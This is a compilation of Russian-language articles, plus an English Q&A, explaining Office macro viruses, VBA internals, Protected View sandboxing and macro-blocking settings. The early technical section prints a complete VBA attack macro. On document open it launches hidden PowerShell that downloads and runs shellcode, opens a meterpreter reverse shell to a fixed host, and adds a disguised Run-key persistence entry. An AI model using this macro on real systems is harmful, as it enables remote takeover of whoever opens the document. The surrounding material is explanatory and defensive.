В 2016 году исследователи отметили всплеск активности, практически второе рождение, еще недавно казавшейся безнадежно устаревшей техники распространения нежелательного ПО — несущих злонамененную нагрузку макросов в документах Microsoft Office, т.н. «макровирусов».
Самый знаменитый макровирус, Melissa, появился в марте 1999 года. Вирус поразил по крайней мере сто тысяч компьютеров по всему миру, парализовал работу сотен компаний, ущерб экономике составил 80 миллионов долларов в одних только США.
Судя по отчетам компаний, связанных с информационной безопасностью (например, здесь ), на сегодняшний день макровирусы все еще занимают верхние строчки в рейтингах по распространенности.
Не появилось никаких способствовавших этому новых уязвимостей, как в общем-то не было никаких чисто технических предпосылок. По-видимому, распространители malware, испытывая недостаток в свежих багах, обратили свои взоры на плохо забытые (и все еще эффективные) старые.
Почему почти через двадцать лет та же техника остается на вооружении всевозможных компьютерных злоумышленников? Попробуем разобраться.
Kovter и Emotet распространяются при помощи макросов в документах Office.
Что такое «макрос»
Так называемые «макросы» Microsoft Office представляют собой небольшие программы для интерпретируемого языка Visual Basic for Applications (VBA), поддержка которого встроена в линейку продуктов Microsoft Office.
Макросы в силу своих возможностей могут быть использованы для практически любой задачи автоматизации офисной работы.
Какие программы поддерживают макросы VBA
VBA охватывает все версии Microsoft Office для Windows, начиная с 1997г. и включая еще не вышедший 2019, а также некоторые другие приложения Microsoft, такие как MapPoint и Visio, и ПО других производителей: AutoCAD, CorelDraw, LibreOffice, Reflection, WordPerfect.
Реализована поддержка VBA и в Office for Mac OS X, за исключением 2008.
При выборочной установке Microsoft Office можно отказаться от поддержки VBA, но по умолчанию эта подсистема входит в набор устанавливаемых программ.
Редактор VBA в Microsoft Word
Что умеет VBA
Макросы документов обладают довольно богатым функционалом, который можно разбить на три категории:
- Доступ к содержимому документа, в том числе, и вставленному в него активному содержимому (ActiveX)
- Доступ к событиям интерфейса офисного приложения и действиям пользователя в этом офисном приложении (например, нажатие клавиш)
- Доступ к файловой системе, ресурсам операционной системы при помощи создаваемых COM и WMI объектов.
Доступ к содержимому документа может быть необходим для автоматического редактирования и формирования документов. Это очень важная возможность, которая позволяет автоматизировать некоторую рутинную работу офисных сотрудников (например, вставку заготовленных шаблонов таблиц или других элементов в документы).
Доступ к интерфейсу и событиям интерфейса офисного приложения позволяет упростить работу с макросами (например, помогает привязать исполнение макроса к событию или комбинации клавиш). Исполнение макросов может быть привязано к различным событиям интерфейса или к действиям пользователя. Например, макрос AutoOpen привязывается к событию открытия документа, чем и обязан использованию злоумышленниками в качестве основного.
Доступ к файловой системе и ресурсам ОС бывает необходим для выполнения сложных задач автоматизации, связанных с обработкой нестандартных форматов документов и/или автоматического распространения (например, рассылка автоматически сгенерированных отчетов по почте).
Последний класс функциональных возможностей делает исполнение макроса с точки зрения безопасности равносильным запуску обычного исполняемого файла. C учетом того, что макросы могут быть присоединены к документам, и начинать свое выполнение автоматически (если не учитывать ограничения безопасности), можно утверждать, что открытие такого документа равносильно запуску стороннего исполняемого файла, который получает те же привилегии в системе, что и активировавший его пользователь.
Автоматизация позволяет программам на VBA управлять поведением не только приложения-хоста, но и другими приложениями Microsoft Office (как, впрочем, и любыми объектами COM в системе).
Само взаимодействие между скриптами VBA и хост-приложением осуществляется при помощи технологии автоматизации OLE. Для этого хост-приложение предоставляет API в виде COM-интерфейсов и библиотеку типов (TypeLibrary). Это API позволяет взаимодействовать с хост-приложением: например, модифицировать содержимое документа или получать различные уведомления о действиях пользователя. API не универсально, и может зависеть от типа и версии хост-приложения, поэтому макрос, предназначенный для работы внутри Microsoft Word, не будет работать в Excel. Однако, макросы документов могут использовать API автоматизации сразу же нескольких хост-приложений. Например, можно создать макрос, который исполняется внутри Excel: читает таблицу, формирует на её основе отчеты в формате Microsoft Word и рассылает их по различным почтовым адресам, используя автоматизацию Microsoft Outlook.
Помимо широких возможностей в операционной системе, программы VBA обладают такими привлекательными для злоумышленника свойствами, как надежность и стабильность выполнения, совместимость (с некоторыми оговорками) со всей линейкой Office. Подобной независимостью, обеспеченной виртуальной машиной VBA, никак не может похвастать большинство логических, и тем более бинарных уязвимостей.
Существуют документы-шаблоны, загружаемые приложением по умолчанию, к примеру, normal.dotm в Word. Эти документы также могут содержать макросы, запускаемые вместе с приложением. Эта простейшая техника может быть использована для закрепления нежелательного ПО в системе.
Методы незаметного проникновения на ПК в основном основаны на стандартных техниках, применяемыми вредоносным ПО. К ним можно отнести шифрование бинарной полезной нагрузки, которая записывается на диск макросом, использование WMI для создания дочернего процесса, выполняющего дальнейшие деструктивные действия.
' Author: Matt Nelson
' Twitter: @enigma0x3
Sub Auto_Open()
Execute
Persist
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "rootcimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\" & strComputer & "rootcimv2:Win32_Process")
objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
End Function
Public Function Persist() As Variant
Dim WShell As Object
Set WShell = CreateObject("WScript.Shell")
WShell.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRunWindowsUpdate", "C:WindowsSystem32WindowsPowershellv1.0powershell.exe -NonInteractive -WindowStyle Hidden -noprofile -noexit -Command IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/persist.ps1'))", "REG_SZ"
Set WShell = Nothing
End Function
Пример макроса с «полезной» нагрузкой
Как реализована поддержка VBA
Причиной появления архитектуры VBA в том виде, в котором она известна нам сегодня, скорее всего, стала оптимизация компанией Microsoft затрат на разработку языка и самого движка макросов. За основу был взят готовый интерпретатор скриптового языка с возможностями, существенно превышающими требования, предъявляемые к макроязыкам офисных документов. Это позволяет создавать на VBA макросы, которые по своему функционалу, скорее, похожи на плагины для офисных приложений, и к ним должны предъявляться другие требования безопасности, распространения и публикации.
VBA является несколько урезанным вариантом Visual Basic и отличается также тем, что программы на нем работают лишь внутри приложения-хоста (например, Excel), связаны с документом, для которого созданы, и не могут быть запущены в качестве отдельного приложения.
В умелых руках эти небольшие ограничения легко преодолеваются. Программы VBA имеют возможность использовать динамические библиотеки DLL, классы COM, доступ к файловой системе — этого более, чем достаточно, чтобы произвести в операционной системе любые действия, доступные аккаунту, под которым запущены приложения Office.
Производитель утверждает, что макросы VBA в приложениях Office под Mac OS выполняются внутри песочницы, без доступа к системным функциям, файловой системе и другим приложениям. Однако с учетом того, что интерпретатор VBA под эту ОС разработан не так давно, исследователей безопасности вполне могут ожидать интересные находки в этом направлении.
В приложениях пакета для Windows изоляция исполнения макросов отсутствует. Макросы выполняются от имени и с правами пользователя, открывшего документ.
Обычно виртуальная машина VBEx (x — номер версии) устанавливается вместе с офисным пакетом и располагается в %CommonProgramFiles%microsoft sharedVBA«подпапка с версией». Она представляет собой несколько DLL библиотек и библиотек с ресурсами. Библиотеки загружаются в адресное пространство процесса приложения, которое выполняет макросы документа.
Код, созданный в редакторе VBA, сохраняется внутри файла документа. Документы современного формата Office Open XML, содержащие макросы, должны иметь специальное расширение («.docm»,».dotm»,».xlm»,».xltm», …), в противном случае приложение откажется их открывать. Внутри zip-архива документа проект VBA хранится в файле-хранилище CFBF.
В документах устаревшего формата (.doc, .xls, .ppt, …), представляющих собой CFBF, VBA сохраняется в хранилище второго уровня «Macros», формат которого аналогичен предыдущему.
В этом случае по названию (расширению имени файла) или значку пользователь никак не определит, что документ может содержать макросы.
Microsoft любезно опубликовала спецификацию формата хранения проектов VBA в документах Office: [MS-OVBA]. Как и следовало ожидать, многие интересные поля структур описаны в спецификации приблизительно следующим образом:
MUST be ignored on read. MUST not be present on write.
Тем не менее, при желании можно выяснить, что кроме исходного кода VBA в файл хранилища записывается также скомпилированый так называемый p-code (packed code). Формат этого промежуточного кода для виртуальной машины зависит от версии VBA. Если документ открыт в приложении, использующем ту же версию виртуальной машины, p-code будет загружен и выполнен, а исходный код проигнорирован. Существует также и третий вариант сохраняемого кода: это специфичный для версии приложения двоичный формат, который в спецификации обтекаемо назван Performance Cache и записывается в файл при выполнении программы.
Любопытно заметить, что, если формат p-code частично доступен антивирусным компаниям на условиях Non Disclosure Agreement, то о формате Performance Cache, называемом в ряде источников также Execode, практически неизвестно (основываясь на некоторых прецедентах можно даже предположить, что неизвестно и самой компании Microsoft).
Подобная техника дает определенную свободу действий создателям макровирусов и влечет за собой дополнительные сложности для антивирусных сканеров: в зависимости от версии пакета и виртуальной машины может быть скомпилирован исходный код, использован p-code либо загружен Performance Cache, которые совершенно необязательно могут соответствовать один другому.
При открытии документов, содержащих проекты VBA, приложение создает временный файл-хранилище, в который копирует директории VBA. Копирование осуществляется средствами системного Structured Storage API, непосредственно с содержимым хранилища на этом этапе приложения Office не взаимодействуют. Код VBA, в одном из трех вариантов, будет загружен виртуальной машиной только после того, как пользователь разрешит выполнение (или если выполнение разрешено по умолчанию).
Встроенные механизмы противодействия макровирусам
Можно выделить два основных вопроса безопасности, которые необходимо решить при разработке архитектуры собственного макроязыка:
* К чему могут иметь доступ макросы
* Могут ли макросы распространяться как составная часть документов.
Если рассмотреть архитектуру макросов VBA от Microsoft, описанную выше, становится очевидно, что оба эти вопроса решены неправильно. Это привело к тому, что открытие документа Microsoft Office c макросами равносильно запуску обычного исполняемого файла.
Таким образом, документы Microsoft Office с макросами:
* Обладают свойствами и возможностями обычного исполняемого файла
* Не принадлежат к зарегистрированному в системе типу исполняемых файлов и не воспринимаются пользователями как исполняемые.
Из-за распространенности пакета Microsoft Office и пересылок документов в почтовых вложениях, а также двух свойств документов с макросами, описанных выше, они стали легким и надежным способом проникновения вредоносного ПО на компьютеры пользователей. Настолько легким, что компании Microsoft пришлось решать эту проблему при помощи расширения функции механизма безопасности офисного пакета.
Два механизма безопасности интегрированы непосредственно в приложения Microsoft Office:
* Защищенный режим просмотра
* Политики запрета исполнения макросов VBA.
В Microsoft Office есть защищенный режим, который активируется при просмотре файлов, загруженных из интернета, запрещает запуск любого активного содержимого (в том числе, и макросов) и создает ряд ограничений для процесса, который открывает этот документ. При открытии документа в таком режиме создается дочерний процесс (в котором и происходит просмотр документа) с пониженным уровнем целостности и ограничением Job на создание дочерних процессов (делается ограничением одного активного процесса в Job).
Эти ограничения, в первую очередь, направлены на предотвращение эксплуатации обычных бинарных уязвимостей в самом офисном приложении.
Изоляция процесса, отображающего документ в защищенном режиме, реализована в целом хорошо и заслуживает отдельного упоминания.
На уровне приложения в ОС Microsoft Windows предоставляет следующие возможности изоляции процесса:
* Ограничения токена (маркера доступа) процесса
* Ограничения GUI-подсистемы
* Ограничения объекта Job для процесса.
Изоляция процесса офисного приложения, отображающего документ, реализуется при помощи всех этих трех механизмов.
Примерная схема работы защищенного режима просмотра документов Microsoft Office
Недоверенные документы открываются в изолированном процессе, который создается главным процессом-брокером офисного приложения. Для этого формируется специальный токен, с которым будет создаваться изолированный процесс при помощи функции CreateProcessAsUser. В зависимости от того, поддерживает ли операционная система запуск процессов с токеном AppContainer или нет, токен формируется по-разному.
Для операционных систем, поддерживающих технологию AppContainer (Windows 8 и выше), выполняется создание папки контейнера, настройка разрешений для работы с именованным каналом, по которому изолированный процесс может общаться с процессом-брокером, а также добавляется особая возможность (Capability) с недокументированным SID, свойственная только Microsoft Office. Процессы, работающие на основе технологии AppContainer, ограничены добавленными в них возможностями (Capabilities). Они определяют границы песочницы, в которых исполняется процесс. Изолированный процесс офисного приложения, таким образом, может лишь работать с файлами внутри папки собственного контейнера, и общаться с процессом-брокером через именованный канал. Доступ в сеть полностью закрыт, поскольку у процесса отсутствуют возможности (Capability) для открытия портов и исходящих соединений.
Для более ранних операционных систем, не поддерживающих технологию AppContainer, но активирующих исполнение процесса с низким уровнем целостности, выполняется более сложная настройка токена изолированного процесса. Отключаются следующие SID в группах токена: Domain Users, Administrators, Console Logon, This Organization, NTLM Authentication, Medium Mandatory Level. SID следующих сущностей ограничиваются в маркере доступа изолированного процесса: Restricted Code, Everyone, Users, Logon Session. Настраиваются разрешения для работы с именованными каналом процесса-брокера и понижается уровень целостности до низкого. Также создается папка для работы изолированного процесса и настраиваются разрешения для взаимодействия с ней.
После настройки маркера доступа вне зависимости от поддержки технологии AppContainer создается процесс в состоянии паузы Suspended. Этот процесс добавляется в Job с особыми ограничениями. Ограничения объекта Job обычно следующие:
* Число активных процессов – 1
* Завершение процессов при необработанном исключении
* Завершение дочерних процессов при завершении процесса-родителя.
Опционально в зависимости от настроек офисного приложения формируется изоляция GUI, в частности, может быть создан новый рабочий стол для изолированного процесса. Обычно этого не делается. Рабочий стол определяет, в частности, буфер обмена. После создания, настройки разрешений процесса и добавления его в объект Job, процесс брокер возобновляет выполнение изолированного процесса, выводя его из состояния Suspended.
Описанная выше система изоляции процесса, в котором происходит открытие недоверенного документа, существенно усложняет эксплуатацию обычных бинарных уязвимостей. Как правило, злоумышленникам приходится искать в таком случае дополнительные уязвимости в ядре ОС, чтобы выйти за пределы создаваемой процессором-брокером песочницы изолированного процесса, в котором отображается документ.
Однако при разрешении запуска макросов приложение не будет работать в защищенном режиме (даже если файл был загружен), и таким образом виртуальная машина VBA не получит ограничений. Пользователь может отключить режим защищенного просмотра нажатием кнопки «Разрешить редактирование» / «Enable editing», которая появляется на желтой полосе предупреждения при открытии загруженного документа.
Параметры запуска приложений VBA можно изменить пользовательскими настройками.
Настройка политики запуска макросов в окне «Trust Center»
По умолчанию, стоит настройка, запрещающая исполнение всех макросов с оповещением пользователя. «Тревожный сигнал» выглядит следующим образом:
Нажимая на кнопку «Enable Content», пользователь разрешает исполнение всех макросов документов, в том числе, и автоматических, тем самым ставя под угрозу заражения свой ПК.
В ответ на возросшее количество угроз от распространения документов с макросами, в Microsoft разработали более жесткую политику безопасности, которая может быть настроена администраторами через механизм групповых политик Windows. Администратор может её сконфигурировать таким образом, что будет апрещено исполнение макросов в документах, загруженных по сети.
Также следует заметить, что для всех политик имеются исключения:
* Доверенные расположения в файловой системе
* Доверенные издатели.
Документы из доверенных расположений в файловой системе открываются с минимальными ограничениями. То же самое относится к механизму доверенных издателей. В частности, автоматически могут запускаться VSTO, подписанные сертификатами доверенных издателей.
Обход методов противодействия макровирусам
Большинство методов обхода механизмов безопасности строятся на социальной инженерии. Пользователи не воспринимают файлы Microsoft Office с макросами как исполняемые, поэтому легко вводятся в заблуждение демонстрацией ненормального открытия документа и приглашением пользователя включить макросы, чтобы устранить проблемы. Злоумышленники предоставляют подробные инструкции, на случай, если пользователи сами не могут догадаться как это сделать, и весомо выглядящее обоснование необходимости их включения.
На форумах соответствующей тематики можно встретить объявления о создании «индивидуальных дизайнерских решений» для оформления документов, призванных убедить пользователя включить активное содержимое. Стоимость таких решений может быть значительной, а эффективность, по мнению авторов, доходит до 60%.
Эксплуатируется желание пользователя поскорее получить информацию из документа. Из-за этого многие, даже не думая, разрешают исполнение макросов. Формирование внешнего вида и содержимого таких документов зависит уже исключительно от фантазии злоумышленников и основано на незнании типичными пользователями сложных возможностей макроязыка VBA, приводящих к заражению системы вредоносным ПО. После разрешения пользователем исполнения макросов и заражения компьютера, макрос, как правило, показывает пользователю ту информацию, которую он хотел увидеть, меняя соответствующим образом открытый документ при помощи API автоматизации.
Современные версии Office имеют возможность изменения групповых политик, что позволяет доменному администратору заблокировать выполнение VBA на всех пользовательских компьютерах без возможности изменения этой настройки пользователем. Несомненно, с точки зрения безопасности это шаг вперед. К сожалению, эта возможность зачастую не применяется, поскольку во многих компаниях есть свой активно используемый набор макросов, от которого никто не желает отказываться.
Есть и еще один неочевидный нюанс, который представляет собой значительную брешь в безопасности. В памяти программы Office содержится «свойство» AutomationSecurity — переменная, содержащая настройки безопасности для активного содержимого, в том числе для макросов и элементов ActiveX. Если приложение было запущено пользователем стандартным способом, например, значком на рабочем столе или открытием документа, эта переменная будет соответствовать настройкам, выставленным пользователем в окне «Центра безопасности» или администратором при помощи шаблонов. Если же приложение запущено как клиент Автоматизации, из скрипта или другого приложения (к примеру, приложения для бухучета), переменная AutomationSecurity будет содержать минимальное значение «msoAutomationSecurityLow». В результате при обработке автоматизированным приложением какого-либо документа будут выполнены и содержащиеся в документе VBA-программы, если только программист специально не изменил переменную на msoAutomationSecurityByUI или msoAutomationSecurityForceDisable.
И в заключение…
Что же вирус Melissa и причиненные им убытки? Удивительно эффективный и эффектный результат выглядит еще более впечатляющим, если обратить внимание на одну маленькую деталь: предупреждающее сообщение об опасности макровирусов при открытии документа, содержащего макросы, появилось еще в Microsoft Office 97 (Melissa, напомним, появился в 1999).
Для того, чтобы отключить предупреждение, необходимо было снять «галочку» в настройках.
Можно было прочитать подробное разъяснение об опасности макровирусов и нежелательности запуска макросов из ненадежных источников.
По-видимому, это мало кого остановило.
Риск безопасности и блокировка макросов
Microsoft Excel всегда с подозрением относился к файлам с макросами — особенно если они скачаны из какого-нибудь ненадежного источника , например, из интернета. И это вполне оправданно и понятно — макровирусы никто не отменял. Выражалось это в появлении примерно такого сообщения при открытии книги:
Однако с недавних (обновления марта-апреля 2022 года) пор всё стало более сурово:
Поменялся не только цвет предупреждения с жёлтого на красный, но и — что гораздо печальнее — пропала кнопка Включить содержимое (Enable content), позволявшая разблокировать макросы, если они вам всё-таки нужны. Нажатие же на кнопку Дополнительные сведения ничего не разрешает, а лишь приводит вас на сайт со справкой Microsoft по этой теме.
Попытки выключить макросы стандартным образом через вкладку Разработчик — Безопасность макросов (Developer — Macro Security) тоже ни к чему не приводят — блокировка не снимается:
Что же делать, если макросы в скачанном файле вам нужны для работы и необходимо их разблокировать?
Способ 1. Снятие блокировки в свойствах файла
Щёлкаем по файлу правой кнопкой мыши и выбираем команду Свойства (Properties). В открывшемся окне включаем галочку Разблокировать (Unblock):
Жмём на ОК и проблема решена. Но это придется делать с каждым файлом персонально.
Способ 2. Доверенные расположения
Другой способ заключается в добавлении папки, где лежат ваши книги с заблокированными в них макросами в список надёжных расположений, т.е. источников, которым Excel априори доверяет. Тогда не придется разблокировать каждый файл в отдельности.
Для этого идём в Файл — Параметры — Центр управления безопасностью — Параметры центра управления безопасностью — Доверенные расположения (File — Options — Trust Center — Trust Center Settings — Trusted Locations):
Жмём кнопку Добавить новое расположение и указываем папку с файлами. Затем давим на все ОК и перезапускаем Excel, чтобы сделанная настройка вступила в силу.
Вот и всё — и наши макросы опять в строю
Ссылки по теме
- Как использовать Личную Книгу Макросов (Personal MacroWorkbook)
- Что такое макросы и как их применять, запускать и копировать
Что такое макрос?
СВЯЗАННЫЕ: Узнайте, как использовать макросы Excel для автоматизации утомительных задач
Документы Microsoft Office — Word, Excel, PowerPoint и другие типы документов — могут содержать встроенный код, написанный на языке программирования, известном как Visual Basic для приложений (VBA).
Вы можете записывать свои собственные макросы, используя встроенный Macro Recorder. Это позволяет автоматизировать повторяющиеся задачи — в будущем вы сможете повторить записанные вами действия, запустив макрос. Следуйте нашему руководству по созданию макросов Excel для получения дополнительной информации. Макросы, которые вы создали сами, хороши и не представляют угрозы безопасности.
Однако злоумышленники могут написать код VBA для создания макросов, которые делают вредные вещи. Затем они могут встраивать эти макросы в документы Office и распространять их в Интернете.
Почему макросы могут делать потенциально опасные вещи?
Можно предположить, что язык программирования, предназначенный для автоматизации задач в пакете Office, будет довольно безопасным, но вы ошибаетесь. Например, макросы могут использовать команду VBA SHELL для запуска произвольных команд и программ или использовать команду VBA KILL для удаления файлов на жестком диске.
После загрузки вредоносного макроса в приложение Office, например Word, через зараженный документ, он может использовать такие функции, как «AutoExec», чтобы автоматически запускаться с Word, или «AutoOpen», чтобы автоматически запускаться при открытии документа. Таким образом, макровирус может интегрироваться в Word, заражая будущие документы.
Вы можете задаться вопросом, почему такое вредное поведение возможно даже при использовании пакета Office. Макросы VBA были добавлены в Office в 90-х годах, в то время, когда Microsoft не очень серьезно относилась к безопасности и еще до того, как Интернет принес угрозу вредоносных макросов домой. Макросы и код VBA не были разработаны для обеспечения безопасности, так же как технология Microsoft ActiveX и многие функции Adobe PDF Reader .
СВЯЗАННЫЕ: Что такое элементы управления ActiveX и почему они опасны
Макро Вирусы в Действии
Как и следовало ожидать, авторы вредоносных программ воспользовались такими недостатками в Microsoft Office для создания вредоносных программ. Одним из наиболее известных является вирус Мелисса, выпущенный в 1999 году. Он распространялся в виде документа Word, содержащего макровирус. При открытии в Word 97 или Word 2000 макрос выполнялся, собирал первые 50 записей в адресной книге пользователя и отправлял им по почте копию зараженного макросом документа Word через Microsoft Outlook. Многие получатели открывали зараженный документ, и цикл продолжался, засоряя почтовые серверы экспоненциально увеличивающимся количеством нежелательной почты.
Другие макровирусы вызывали проблемы другими способами — например, макровирус Wazzu заражал документы Word и вмешивался в них, периодически перемещая слова внутри документа.
С этими макросами было гораздо больше проблем, когда Office доверял макросам и загружал их по умолчанию. Это больше не делает.
Как Microsoft Office защищает от макросов
К счастью, Microsoft со временем всерьез занялась безопасностью . В Office 2003 добавлена функция уровня безопасности макросов. По умолчанию могут выполняться только макросы, подписанные доверенным сертификатом.
Современные версии Microsoft Office еще более ограничены. Office 2013 настроен на отключение всех макросов по умолчанию, предоставляя уведомление о том, что макрос не разрешен к запуску.
СВЯЗАННЫЕ: 50+ расширений файлов, которые потенциально опасны для Windows
Начиная с Office 2007, макросы также намного легче обнаруживать. По умолчанию стандартные документы Office сохраняются с суффиксом «x». Например, .docx, .xlsx и .pptx для документов Word, Excel и PowerPoint. Документы с этими расширениями не могут содержать макросы. Только документы с расширением файла, оканчивающимся на «m» — это .docm, .xlsm и .pptm, могут содержать макросы.
Как защитить себя
Чтобы на самом деле быть зараженным, вам нужно скачать файл, содержащий вредоносный макрос, и приложить все усилия, чтобы отключить встроенные функции безопасности Office. В результате этого макровирусы стали гораздо реже.
Вот все, что вам нужно сделать: запускать макросы только от людей или организаций, которым вы доверяете, если у вас есть для этого веские основания. Не отключайте встроенные функции безопасности макросов.
Макросы, как и любая другая компьютерная программа, могут быть использованы как для хорошего, так и для плохого. Организации могут использовать макросы для выполнения более мощных задач с Office, или вы можете создавать макросы для автоматизации повторяющихся задач самостоятельно. Но, как и любая другая компьютерная программа, вы должны запускать макросы только из источников, которым вы доверяете.
Один из самых популярных способов распространения зловредов — это добавление вредоносных команд в макросы электронных документов. И в подавляющем большинстве случаев речь идет о макросах для файлов Microsoft Office, то есть для обычных текстовых документов Word, таблиц Excel и презентаций Power Point. С такими файлами любой сотрудник компании сталкивается каждый день, и не раз.
Эта проблема существует уже более двадцати лет, так что ее решение, мягко говоря, давно назрело. В феврале этого года компания Microsoft анонсировала, что выполнение макрокоманд в скачанных из Интернета документах будет заблокировано. Однако уже в начале июля пользователи MS Office заметили, что это нововведение было отменено. На момент написания этого поста компания так и не опубликовала официального заявления по поводу отмены полной блокировки, хотя ее представители говорят, что это решение временное и было принято «на основе отзывов». Но это неплохой повод напомнить о том, что такое макросы, чем они могут навредить кибербезопасности компании и как защититься от этой угрозы.
Что такое макросы и чем они опасны?
Зачастую пользователям пакета Microsoft Office требуется автоматизировать какие-то процессы. Для этого предусмотрена возможность запрограммировать некий алгоритм действий, создав тот самый макрос. Простой пример: бухгалтер каждый месяц делает типовой отчет, и чтобы сэкономить время, он создает макрос, который автоматически будет выделять жирным все имена клиентов во втором столбце.
Для создания макросов используется VBA (Visual Basic for Applications) — несколько упрощенный, но все-таки язык программирования. Однако злоумышленники также могут использовать его в своих целях.
В этом месте стоит отметить, что работа с макросами подразумевает достаточно глубокие знания пакета программ Microsoft Оffice, которыми обладают далеко не все сотрудники, чтобы они ни писали в своих резюме. Некоторые из них даже не подозревают о существовании макросов. Преступники же, напротив, умеют создавать с помощью макросов не безобидные алгоритмы, автоматизирующие рутинные действия, а вредоносные команды.
Как это работает?
Типичная атака на компанию начинается с массовой рассылки на почту сотрудникам вредоносных писем. Эти письма могут выглядеть как приглашения на работу, новости компании, счета от подрядчиков, в них могут обещать уникальную информацию о конкурентах и многое другое. Изощренность уловок ограничивается только фантазией преступников. Главная задача таких писем — заставить человека открыть вложенный в письмо файл или скачать некий документ, перейдя по ссылке.
Преступникам нужно, чтобы вредоносный макрос, содержащийся внутри файла, был запущен. Много лет назад встроенные макросы запускались автоматически, но Microsoft ограничила эту функциональность, и теперь при открытии скачанного из Интернета файла пользователь видит предупреждение о том, что макрос заблокирован.
Казалось бы, проблема решена. Но нет — многие не задумываясь нажимают на кнопку Enable Content (Разрешить контент) и этим дают согласие на автоматическое выполнение тех самых макросов, что в итоге приводит к установке вредоносного ПО на устройство жертвы. Так злоумышленники получают доступ к инфраструктуре компании. При этом, как мы уже писали выше, большинство сотрудников даже не подозревают, к каким проблемам может привести невинное нажатие кнопки Enable Content.
Наконец разработчики из Microsoft пришли к единственно верному решению — не давать пользователю такого выбора, а сразу блокировать макросы в файлах из Интернета. Все сообщество ИБ-экспертов приветствовало это нововведение, появившееся у части пользователей уже в начале апреля этого года. Вместо кнопки они видели предупреждение системы безопасности с ссылкой на статью об угрозах кибербезопасности от макросов. Но, как выяснилось, радость была преждевременной — обновление откатили.
Как защититься?
Прежде всего, IT-администраторы крупных компаний имеют возможность запретить использование макросов на уровне политик безопасности. Так что если в ваших рабочих процессах макросы не используются, мы бы рекомендовали сделать это. В таком случае пользователь, открывший документ с макросом, увидит другое предупреждение:
Если же такая опция вам по каким-либо причинам недоступна, то до тех пор, пока специалисты Microsoft не вернули автоматическую блокировку выполнения макросов в скачанных файлах, особенно важно, чтобы все рабочие устройства были защищены надежными защитными решениями. Помимо этого, мы рекомендуем обучать всех работников компании основам кибербезопасности, уделяя особое внимание следующим моментам:
- Не стоит скачивать и открывать неожиданно полученные файлы, даже если они исходят от человека или организации, которым вы доверяете. Вполне возможно, что вам пишут мошенники.
- Не следует бездумно соглашаться на включение контента в скачанном с веб-страницы или полученном по электронной почте файле. Для обычного просмотра содержимого в этом не должно быть никакой необходимости.
- Если кто-то в письме или на сайте убеждает вас включить выполнение активного контента — это заведомо подозрительно.
Опасность Макросов |
||||||||
Ответить |
||||||||
Ответить |
||||||||
Ответить |
||||||||
Ответить |
||||||||
Ответить |
Can someone explain me why Microsoft Excel 2012 is telling me that accepting automatically every macros is dangerous, I mean how can they be dangerous, for my worksheets, for my entire computer ?
asked May 2, 2013 at 19:54
Excel macros are written VBA (Visual Basic for Applications). Those scripts can (potentially) gain access to your operating system, and file system: deleting files, uploading data, downloading spyware etc. That’s why you have to be sure you trust the script source before allowing it to run.
answered May 2, 2013 at 20:10
Macros written with malicious intent could harm your computer, the same way any malware could.
Here’s an article from Boston College on the subject.
From the article:
ABOUT MACROS AND MACRO VIRUSES
A macro is a series of program commands
or instructions designed to simplify repetitive tasks within a program
in the Microsoft Office suite (such as Microsoft Word, Excel,
PowerPoint, etc.). Any operating system can receive a macro virus,
even Macs, as long as you have Microsoft Office installed on it. A
macro virus is a virus that is created by using the built-in macro
programming language, designed to execute as soon as the file is
opened. It attaches itself to a document file and waits until an
application like Microsoft Word opens it.
answered May 2, 2013 at 20:09
Таблицы Excel являются одним из самых популярных способов хранения и систематизации информации. Если внедрить в Excel макросы, то возможности программы можно расширить практически вдвое. Например, макросы помогают автоматизировать рутинные процессы и ускорить выполнение монотонной работы. Часто пользуются ими специалисты, которые в Excel переводят отчеты из 1С. При помощи внедренного кода их легко привести к единому стандартному шаблону.
Что представляют собой Excel-макросы?
Макросы используются не только в таблицах, но и во всем Microsoft Office. Они представляют собой созданный при помощи Visual Basic for Applications код. Если вы частично знакомы с web-программированием, то можно провести аналогию с Javascript. Excel-макросы делают примерно то же самое, что и Javascript с данными формата HTML.
Небольшая часть того, что может сделать макрос в офисных приложениях:
• выравнивать документ по стилю и форматировать его;
• проводить операции с численными и текстовыми данными;
• прибегать к помощи внешних файлов (текстовых, баз данных и других);
• создавать с нуля новые документы;
• комбинировать несколько действий и выполнять их в автоматическом режиме.
Для работы с таблицей его можно создать самостоятельно или скачать готовый вариант из интернета. Макросы скачивать нужно только с проверенных сайтов, так как в противном случае вы можете внедрить в Excel вирус.
Чем могут быть опасны макросы в Excel?
Программисты не рекомендуют использование написанных другими людьми макросов, так как они могут быть опасными для ваших данных и ПК в целом. «Макровирусы» являются очень распространенным видом хакерства. Они способны:
• повредить файлы на ПК;
• похитить конфиденциальные данные.
Внедрение вируса происходит во время работы одного из офисных приложений – Word или Excel. После того как вы прекратите работу, в них будет начата автономная работа вируса и заражение им всей системы.
Еще один способ работы вредоносного макроса – посредничество для внедрения угроз в систему. В этом случае он является своеобразными воротами для внедрения и генерирования троянского ПО. Им уже будет управлять не видоизменённый макрос, а сама операционная система, а следовательно, угроза становится более масштабной. Не всегда получается вылечить такие вирусы, иногда приходится полностью менять Windows OC или жесткий диск ПК (в зависимости от задач, которые ставил хакер при написании кода).
Вы можете выбрать любой способ защиты от таких макросов. Наиболее популярно повышение уровня безопасности Excel, но в этом случае программа может перестать поддерживать ваши авторские, полезные макросы. Не стоит доверять файлам из неизвестных источников, так как они могут оказаться зараженными. Даже макрос, полученный с ПК вашего коллеги, может таить в себе угрозу. Если знакомый дал вам для работы файл, поддерживающий использование макросов, то, перед тем как разрешить системе его использование, уточните, каким образом он получил этот макрос.
Оптимальным вариантом является самостоятельное обучение искусству создания макросов для своих нужд. В этом случае вы можете полностью ручаться за их качество и безопасность.
Как записать макросы в Excel
Наиболее простой способ создания макроса – программирование прямо в Excel. Для этого вам понадобится таблица с внесенными данными и немного знаний, чтобы включить запись такого кода в программе.
